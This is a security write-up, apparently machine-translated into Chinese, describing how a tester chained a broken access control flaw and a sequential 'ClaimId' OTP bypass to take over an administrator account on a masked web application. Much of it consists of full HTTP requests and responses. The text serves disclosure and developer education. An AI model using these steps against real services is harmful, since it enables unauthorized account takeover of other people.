大家好，我在例行测试中发现了一个有趣的链条。我想与您分享这一发现。让我们先解释一下这一发现。在检查过程中，我发现了 Broken Access Control 漏洞。后来，我注意到了 “SecurityStamp” 参数，这是用户的 uniq 值，并使用此代码访问了授权用户的密码重置区域。然后，在 OTP 阶段，我找到了 “ClaimId” 参数，并通过这个参数绕过了 OTP，获得了授权用户的账户。我在下面更详细地解释了它们。祝你好好阅读..

访问控制失效

在我的评论中，我首先开始使用 Burp Suite 工具审查 Web 应用程序。我注意到的最重要的一点是在后台使用了一个 API，我们在应用程序上的所有作都使用 JWT 令牌在“授权”的标题下进行了授权。

GET /api/Merchant/Merchant/ListUsers?sort=&group=&filter=&id=219 HTTP/1.1Host: **********Cookie:*************Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"Userlanguage: trSec-Ch-Ua-Mobile: ?0Authorization: Bearer eyJh**************LoPNLEW8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36Userlocale: TRAccept: application/json, text/plain, /Tenantkey:Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: ************Accept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Connection: close

在注意到这些请求后，我将授权用户的 token 替换为未授权用户的 token，以检查未授权用户是否只能通过更改 JWT token 来访问这些部分。您可以在更改之前从下图访问请求。

然后，在下面的请求中，我将使用的 JWT 令牌替换为未授权用户和 FIRST BINGO 的令牌!!

GET /api/Merchant/Merchant/ListUsers?sort=&group=&filter=&id=219 HTTP/1.1Host: *************Cookie:*************Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"Userlanguage: trSec-Ch-Ua-Mobile: ?0Authorization: Bearer eyJh*****************uXhMdRgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36Userlocale: TRAccept: application/json, text/plain, /Tenantkey:Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: *****************Accept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Connection: close

在看到 HTTP 响应中写入了 200 OK 后，此响应上的“Name”和“SecurityStamp”部分引起了我的注意。由于这些内容不属于我的用户，因此我可以访问授权用户的某些信息。

OTP Bypass-帐户接管

在查看该网站时，我后来注意到了 password reset（密码重置）字段中的值。现有密码重置字段的图像如下所示。

在相关字段中输入用户名并单击发送按钮后，我注意到您向属于该帐户的电子邮件发送了一封密码重置电子邮件。

我注意到相关 URL 上的“code”字段与我在 Broken Access Control 漏洞中找到的“SecurityStamp”相同。这意味着只要我知道“SecurityStamp”代码，我就可以访问授权用户的密码重置区域。然后我尝试使用我在第一阶段获得的授权用户的“SecurityStamp”代码访问密码重置区域。

使用我获得的代码，我能够访问授权用户的密码重置区域。后来，我尝试通过输入我发现此字段的用户名来执行正常作，但 OTP 代码的存在阻止了此作。我想主要为我自己的用户发出请求。您可以在下面找到此区域的请求。

`POST /api/Authenticate/validateClaim HTTP/1.1Host: **************Cookie:*************Content-Length: 56Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"Accept: application/json, text/plain, */*Content-Type: application/jsonProgramid: 24Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Origin: ***************Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: ****************Accept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9Connection: close``{"ClaimId":33415,"OTPValue":"094523","VerifyOwner":true}`

这个请求的 “ClaimId” 部分引起了我的注意，然后我用同样的方式又做了一个请求，我看到这个请求中的 “ClaimId” 参数是下一个数字，33416。这一刻，我想到了这一点。如果我同时打开两个账户的密码重置字段，并通过更改授权用户请求中的 “ClaimId” 参数来使用我为自己账户获取的 OTP 代码，它会起作用吗？有了这个想法，我立即采取行动并开始交易。我使用找到的“SecurityStamp”代码访问了密码重置区域。同时，我开始在自己的用户中执行相同的作。

首先，我为我自己的帐户请求了一个密码重置链接。后来，我使用通过 Broken Access Control 漏洞获取的 “SecurityStamp” 代码访问了授权用户的密码重置链接。后来，我为自己的账户进行了相同的交易，并为两个账户申请了 OTP。我为自己的用户发出的请求中的代码返回为 33417，这意味着我为授权用户发出的请求中的代码返回为 33418。在我为授权用户发出的请求中，我将“ClaimId”参数更改为 33417，并输入了发送给我的 OTP 代码。

HTTP 请求

`POST /api/Authenticate/validateClaim HTTP/1.1Host: **********Cookie:************Content-Length: 56Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"Accept: application/json, text/plain, */*Content-Type: application/jsonProgramid: 24Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Origin:**********Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: **************Accept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9Connection: close``{"ClaimId":33417,"OTPValue":"982207","VerifyOwner":true}`

HTTP 响应

`HTTP/1.1 200 OKDate: Mon, 22 Jan 2024 14:11:55 GMTContent-Type: application/json; charset=utf-8Connection: closeVary: Accept-EncodingX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: strict-origin-when-cross-originpermissions-Policy: value=***************Content-Security-Policy: *************Content-Length: 1``1`

后来，我看到这个请求导致了另一个请求。该请求如下。

`POST /api/Authenticate/resetPassword HTTP/1.1Host: ************Cookie:***********Content-Length: 125Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"Userlanguage: trSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36Content-Type: application/jsonUserlocale: TRAccept: application/json, text/plain, */*Sec-Ch-Ua-Platform: "Windows"Origin: ************Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: *************Accept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9Connection: close``{"username":"g*******t","password":"Y*******.","confirmPassword":"***********.","code":"8c53f***************1b39"}`

这里的信息完全属于授权用户。在指导此请求之后。还有宾果!!!我拥有完全属于自己的管理员帐户。

`HTTP/1.1 200 OKDate: Mon, 22 Jan 2024 14:12:27 GMTContent-Type: application/json; charset=utf-8Connection: closeVary: Accept-EncodingX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: strict-origin-when-cross-originpermissions-Policy: value="***********"Content-Security-Policy:***********Content-Length: 72``{"Successful":true,"Message":"Şifreniz başarıyla oluşturulmuştur."}`

该过程的很大一部分通常是在我进行特定于此 Web 应用程序的密码重置或更改时终止我的会话。但是当我以这种方式更改密码时，它并没有终止会话，甚至帐户持有人的灵魂也没有听到它。另一个发现是，可以在密码重置字段中输入旧密码作为 Esktra。

结论：在 API 配置、授权交易和令牌使用中应考虑可访问性。这种类型的攻击可能会导致非常高的成本。对测试自动化流程感兴趣的后端开发人员和员工应注意这些步骤中的配置和测试流程。

原文始发于微信公众号（迪哥讲事）：帐户接管